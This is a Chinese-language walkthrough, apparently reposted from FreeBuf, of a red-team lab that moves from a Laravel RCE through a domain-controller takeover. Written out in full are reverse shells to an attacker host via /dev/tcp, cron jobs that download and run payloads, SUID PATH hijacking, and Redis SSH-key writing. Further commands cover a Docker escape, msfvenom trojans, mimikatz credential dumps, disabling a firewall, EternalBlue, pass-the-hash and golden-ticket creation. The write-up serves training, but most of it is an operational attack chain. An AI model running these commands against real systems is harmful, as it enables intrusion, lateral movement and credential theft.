ATT&CK实战系列-红队评估(七)学习记录 | xxxATT&CK实战系列-红队评估(七)学习记录 – xxx
菜单

ATT&CK实战系列-红队评估(七)学习记录

九月 18, 2022 - FreeBuf

ATT&CK实战系列-红队评估(七)学习记录

ATT&CK实战系列-红队评估(七)学习记录

http://192.168.0.130:81/

尝试使用之前知道的larvel开启调试模式导致敏感信息泄露的漏洞。

ATT&CK实战系列-红队评估(七)学习记录

发现没有暴露出太多的信息,

ATT&CK实战系列-红队评估(七)学习记录

Goby扫描出漏洞:larvel的rce 和 redis未授权访问。

使用goby命令执行进行反弹shell+提权

获取到的是jobs的权限

(后面发现是web2的docker容器)

Kali:nc -lvp 8065

Goby:bash -c ‘exec bash -i &>/dev/tcp/192.168.0.133/8065 <&1’

ATT&CK实战系列-红队评估(七)学习记录

ATT&CK实战系列-红队评估(七)学习记录

命令:find / -perm -u=s -type f 2>/dev/null

#能发现具有高权限的文件,发现/home/jobs 下存在名为shell的可疑高权限文件

cd /tmp

echo “/bin/bash” > ps

chmod 777 ps

echo $PATH

export PATH=/tmp:$PATH # 将/tmp添加到环境变量中,并且先加载执行/tmp里的程序

cd /home/jobs

./shell

# 然后就获得了root权限,可以执行命令了。

ATT&CK实战系列-红队评估(七)学习记录

Redis提权

获取到的是ubuntu的权限

1.写公钥文件并上传至web1-redis的shell键中

ATT&CK实战系列-红队评估(七)学习记录

2.将redis的备份目录为/root/.ssh 并 修改保存文件名

写公钥需要redis以root权限启动,

前面没有以root权限启动就报 “权限不足“的错误,后面web1虚拟机修改为root权限启动就ok了。

ATT&CK实战系列-红队评估(七)学习记录

ATT&CK实战系列-红队评估(七)学习记录

3.连接目标(直接获得root权限)

ssh 192.168.0.130

ATT&CK实战系列-红队评估(七)学习记录

4.信息收集

这获取到的是DMZ主机的权限,内网是192.168.52.1/24网段。

ATT&CK实战系列-红队评估(七)学习记录

在/etc/nginx/conf.d目录下发现进行了nginx反向代理,将内网的192.168.52.20:8000代理到外网192.168.0.130:81上面。

ATT&CK实战系列-红队评估(七)学习记录

Docker逃逸

利用Docker特权模式逃逸

1.特权模式于版本0.6时被引入Docker,允许容器内的root拥有外部物理机root权限,而此前容器内root用户仅拥有外部物理机普通用户权限。

2.使用特权模式启动容器,可以获取大量设备文件访问权限。因为当管理员执行docker run —privileged时,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载。

3.当控制使用特权模式启动的容器时,docker管理员可通过mount命令将外部宿主机磁盘设备挂载进容器内部,获取对整个宿主机的文件读写权限,此外还可以通过写入计划任务等方式在宿主机执行命令。

首先我们现在docker中新建一个/hack目录用来挂载文件:

命令:

fdisk -l #查看磁盘文件

ATT&CK实战系列-红队评估(七)学习记录

mkdir /hack  # 新建一个/hack目录用来挂载文件

ls /

ATT&CK实战系列-红队评估(七)学习记录

ls /dev  #查看设备文件

ATT&CK实战系列-红队评估(七)学习记录

将 /dev/sda1 挂载到/hack目录里,就能读取/dev/sda1里的文件了(本地文件,非容器)

mount /dev/sda1 /hack

使用 ls /hack 查看是否挂载成功

ATT&CK实战系列-红队评估(七)学习记录

如上图所示挂载成功了,此时我们就可以通过访问容器内部的/hack路径来达到访问整个宿主机的目的。

在docker容器里挂载一个宿主的本地目录,这样某些容器里输出的文件,就可以在本地目录中打开访问了。

发现ubuntu用户进行写公钥等操作

再进行一次反弹shell,好看一点,

ATT&CK实战系列-红队评估(七)学习记录

我们就能再docker容器里查看本地目录的东西了,发现home目录下的ubuntu用户。

ATT&CK实战系列-红队评估(七)学习记录

至此我们逃逸出docker容器,权限还是不够,只是能够访问本地文件、写文件等操作(对web2)却不能执行进一步的命令,所以需要进一步的提权。

以下两种:

1.在/hack/home/ubuntu/.ssh目录下写入公钥文件(redis提权的web1生成公钥)

we1命令:

ssh-keygen -f hello #写公钥和私钥

chmod 600 hello #赋予权限

cat hello.pub # 获取公钥内容

web2命令:

echo ‘cat hello.pub文件的内容’ > /hello/home/ubuntu/.ssh/authorized_keys

注:IP-192.168.52.20是查看nginx反向代理发现的内网IP

ATT&CK实战系列-红队评估(七)学习记录

ATT&CK实战系列-红队评估(七)学习记录

发现192.168.93.1/24网段

2. 写入计划任务进行反弹shell

计划任务:

a.msf

echo ‘* * * * * wget -qO 9Q18YaP8 –no-check-certificate http://192.168.0.133:8080/wE22Kdz1bsdKfdl; chmod +x 9Q18YaP8; ./9Q18YaP8& disown’ >> /hack/var/spool/cron/crontabs/root

b.反弹shell

echo ‘* * * * * bash -i >& /dev/tcp/192.168.0.133/1233 0>&1’ >> /hello/var/spool/cron/root

总结:

Web1(第一层):IP(192.168.0.130 和 192.168.52.10) redis公钥提权获得

Web2(第二层):IP(192.168.52.20和192.168.93.10)  larvel-rce反弹shell再提权到root权限,然后通过docker逃逸写公钥再使用第一层web1主机进行ssh私钥连接

ATT&CK实战系列-红队评估(七)学习记录

Linux kernel特权提升漏洞(CVE-2021-3493)

Exp:https://github.com/briskets/CVE-2021-3493

获得web2的ubuntu用户并不是root权限,

ATT&CK实战系列-红队评估(七)学习记录

查看内核,

ATT&CK实战系列-红队评估(七)学习记录

touch exploit.c # 创建文件以后将exp的内容写入其中,

ATT&CK实战系列-红队评估(七)学习记录

获得root权限的web2。

内网渗透

内网探测

1.msf上线

use exploit/multi/script/web_delivery

set target 7

set lhost 192.168.0.133

set payload linux/x64/meterpreter/reverse_tcp

run

获得wget -qO hnTYkmsn –no-check-certificate http://192.168.0.133:8080/uWvSlqPnjRoGe6S; chmod +x hnTYkmsn; ./hnTYkmsn& disown 语句,然后在root权限的web1和web2上面执行就能上线msf,获得sessions

ATT&CK实战系列-红队评估(七)学习记录

1.1尝试fscan探测

上传至web1的/tmp目录进行探测

sessions 1

upload /home/test/桌面/fscan_amd64

shell

chmod +x fscan_amd64

./fscan_amd64 -h 192.168.52.1/24

ATT&CK实战系列-红队评估(七)学习记录

ATT&CK实战系列-红队评估(七)学习记录

发现192.168.52.30主机

1.2使用msf自带的模块进行探测

# 自动添加路由

run post/multi/manage/autoroute

run autoroute -p

ATT&CK实战系列-红队评估(七)学习记录

或者

# 手动添加路由

route add 192.168.52.0 255.255.255.0

route print

目的添加一个通往192.168.52.1/24网段的路由

use auxiliary/scanner/discovery/arp_sweep

ATT&CK实战系列-红队评估(七)学习记录

use auxiliary/scanner/discovery/udp_probe

ATT&CK实战系列-红队评估(七)学习记录

内网穿透-1

使用ew进行内网穿透(文件上传:在meterpreter进行upload /home/test/桌面/ew/ew_for_linux64)。

ATT&CK实战系列-红队评估(七)学习记录

命令:

攻击机:./ew_for_linux64 -s rcsocks -l 1080 -e 1234

靶机web1:nohup ./ew_for_linux64 -s rssocks -d 192.168.0.133 -e 1234 &

将本机的1080端口的请求转发到1234端口上面,靶机对我们本机的1234端口进行连接。

ATT&CK实战系列-红队评估(七)学习记录

ATT&CK实战系列-红队评估(七)学习记录

发现是11.3版本的

http://192.168.52.30:8080/inc/expired.php

ATT&CK实战系列-红队评估(七)学习记录

任意文件上传—>上传一个图片码,

ATT&CK实战系列-红队评估(七)学习记录

文件包含à将上传的图片码进行文件包含,

ATT&CK实战系列-红队评估(七)学习记录

详细了解查看这篇文章。

PC1-MSF上线

使用msfvenom生成木马

命令:msfvenom -p windows/meterpreter/bind_tcp lport=9091 -f exe > win7_9091.exe

ATT&CK实战系列-红队评估(七)学习记录

将木马上传至web1,

ATT&CK实战系列-红队评估(七)学习记录

Web1开启8080端口的http服务,

ATT&CK实战系列-红队评估(七)学习记录

下载win7_9091.exe并重命名为exploit.exe

certutil.exe -urlcache -split -f http://192.168.0.130:8080/win7_9091.exe exploit.exe

ATT&CK实战系列-红队评估(七)学习记录

运行以后会在本机开放9091端口进行监听,

ATT&CK实战系列-红队评估(七)学习记录

使用handler模块进行正向连接(记得保持路由到52网段)

use exploit/multi/handler

ATT&CK实战系列-红队评估(七)学习记录

set payload windows/meterpreter/bind_tcp

set lport 9091

set rhost 192.168.52.30

对PC1进行信息搜集

ipconfig /all   # 查看本机ip,所在域

net view        # 查看局域网内其他主机名

ATT&CK实战系列-红队评估(七)学习记录

1.修改编码:chcp 65001

ATT&CK实战系列-红队评估(七)学习记录

2.获取局域网其他主机名

ATT&CK实战系列-红队评估(七)学习记录

3.发现域名

ATT&CK实战系列-红队评估(七)学习记录

ping DC.whoamianony.org

ATT&CK实战系列-红队评估(七)学习记录

ping PC2.whoamianony.org

ATT&CK实战系列-红队评估(七)学习记录

DC:192.168.93.30

PC2:192.168.93.40

猕猴桃密码抓取

load kiwi

kiwi_cmd privilege::debug

kiwi_cmd sekurlsa::logonPasswords

ATT&CK实战系列-红队评估(七)学习记录

错误提示发现kiwi默认加载32位,不能接受64位。需要把meterpreter进程迁移到64的进程上面,才能加载64位的猕猴桃。

ATT&CK实战系列-红队评估(七)学习记录

migrate 508

ATT&CK实战系列-红队评估(七)学习记录

ATT&CK实战系列-红队评估(七)学习记录

ATT&CK实战系列-红队评估(七)学习记录

抓取到两个密码,一个是域控机的,一个是本地的(PC1)

Whoami2021

Bunny2021

关闭域控防火墙

获取到域控的账户密码了,直接开打

net use \192.168.93.30ipc$ “Whoami2021″ /user:”Administrator”

sc \192.168.93.30 create unablefirewall binpath= “netsh advfirewall set allprofiles state off”

sc \192.168.93.30 start unablefirewall

ATT&CK实战系列-红队评估(七)学习记录

ATT&CK实战系列-红队评估(七)学习记录

获取DC

尝试写计划任务获取DC

# 添加路由

route add 192.168.93.0 255.255.255.0

route print

目的添加一个通往192.168.93.1/24网段的路由,这样msf就能进入93网段了。

ATT&CK实战系列-红队评估(七)学习记录

1.生成木马

msfvenom -p windows/meterpreter/bind_tcp LPORT=8888 -f exe -o smb_8888.exe

ATT&CK实战系列-红队评估(七)学习记录

2.上传木马到PC1

ATT&CK实战系列-红队评估(七)学习记录

3.使用共享文件夹上传至域控主机

net use \192.168.93.30ipc$ “Whoami2021″ /user:”Administrator”   # 建立空连接

copy 8888.exe \192.168.93.30c$   # 上传至域控主机

net time \192.168.93.30# 查看主机当前时间

ATT&CK实战系列-红队评估(七)学习记录

4.在域控机上面设置计划任务执行smb_8888木马

schtasks /create /s \192.168.93.30 /u Administrator /p Whoami2021 /tn test /tr C:smb_8888.exe  /sc once /st 14:59

ATT&CK实战系列-红队评估(七)学习记录

5.返回运行监听模块

ATT&CK实战系列-红队评估(七)学习记录

ATT&CK实战系列-红队评估(七)学习记录

尝试psexec获取DC

# 添加路由

route add 192.168.93.0 255.255.255.0 1

route print

目的添加一个通往192.168.93.1/24网段的路由,这样msf就能进入93网段了。

ATT&CK实战系列-红队评估(七)学习记录ATT&CK实战系列-红队评估(七)学习记录

使用exploit/windows/smb/psexec模块进行权限获取

set rhosts 192.168.93.30

set SMBUser Administrator

set SMBPass Whoami2021

set payload windows/meterpreter/bind_tcp

经过查找发现需要更换target

ATT&CK实战系列-红队评估(七)学习记录

成功获取DC的sessions

ATT&CK实战系列-红队评估(七)学习记录

还剩下一台PC2。

永恒之蓝打PC2

内网穿透-2

进行第三层内网穿透

PC1(192.168.52.30和192.168.93.20)

(由于第一次的内网穿透使用的是web1相当于使用web1访问了其他52网段的机器,现在我们要进入93网段访问需要正向连接进行永恒之蓝攻击获取会话。因此需要使用pc1的192.168.93.20-IP进行内网穿透。我们主机是访问不了192.168.52.30,所以需要一个中间人web1)。

首先攻击机上执行如下命令添加一个转接隧道,监听1090端口,并将1090端口收到的代理请求发送给9998端口,执行命令:

./ew_for_linux64 -s lcx_listen -l 1090 -e 9998

然后在第二层网络的Windows服务器PC1上传ew_for_Win.exe,并利用ssocksd方式启动999端口的正向socks代理,执行命令:

ew_for_Win.exe -s ssocksd -l 999

最后,在Web1上传的ew_for_linux64并利用lcx_slave方式,将攻击机的9998端口与第二层网络Windows 7的999端口连接起来,执行命令:

./ew_for_linux64 -s lcx_slave -d 192.168.0.133 -e 9998 -f 192.168.52.30 -g 999

ATT&CK实战系列-红队评估(七)学习记录

ms17_010

setg Proxies socks5:127.0.0.1:1090

use exploit/windows/smb/ms17_010_eternalblue

set rhosts 192.168.93.40

set payload windows/x64/meterpreter/bind_tcp

run

ATT&CK实战系列-红队评估(七)学习记录

运行发现出现报错“Could not make SMBv1 connection”

解决方案:

service postgresql start

service postgresql status

ATT&CK实战系列-红队评估(七)学习记录

再次run

ATT&CK实战系列-红队评估(七)学习记录

5个sessions都成功获得

ATT&CK实战系列-红队评估(七)学习记录

尝试制作黄金票据和哈希传递

上传猕猴桃mimikatz.exe到域控主机上面

ATT&CK实战系列-红队评估(七)学习记录

命令:

privilege::debug

lsadump::dcsync /user:krbtgt

ATT&CK实战系列-红队评估(七)学习记录

提取sid和hash ntlm获取关键信息:

Object Security ID : S-1-5-21-1315137663-3706837544-1429009142-502

Hash NTLM: 6be58bfcc0a164af2408d1d3bd313c2a

哈希传递

到域成员PC1主机上面,上传猕猴桃并制作黄金票据

先试试哈希传递

sekurlsa::logonpasswords

ATT&CK实战系列-红队评估(七)学习记录

得到ntlm:ab89b1295e69d353dd7614c7a3a80cec

sekurlsa::pth /user:administrator /domain:whoamianony.org /ntlm:ab89b1295e69d353dd7614c7a3a80cec

ATT&CK实战系列-红队评估(七)学习记录

随后应该会弹cmd框,但是这里看不到弹框,

直接到PC1主机上面试试哈希传递效果(之前没搞过试试),以管理员身份运行猕猴桃

dir \DC.whoamianony.orgc$

ATT&CK实战系列-红队评估(七)学习记录

dir \DC.whoamianony.orgc$users

ATT&CK实战系列-红队评估(七)学习记录

PsExec.exe \DC.whoamianony.org cmd.exe 即可反弹域控的shell

ATT&CK实战系列-红队评估(七)学习记录

制作票据:

kerberos::golden /user:administrator /domain:whoamianony.org /sid:S-1-5-21-1315137663-3706837544-1429009142 /krbtgt:6be58bfcc0a164af2408d1d3bd313c2a /ticket:administrator.kiribi

ATT&CK实战系列-红队评估(七)学习记录

加载票据:

kerberos::ptt administrator.kiribi

ATT&CK实战系列-红队评估(七)学习记录

本文作者:, 转载请注明来自FreeBuf.COM

# 内网渗透 # 域控 # 靶场 # Windows系统 # 内网安全

Notice: Undefined variable: canUpdate in /var/www/html/wordpress/wp-content/plugins/wp-autopost-pro/wp-autopost-function.php on line 51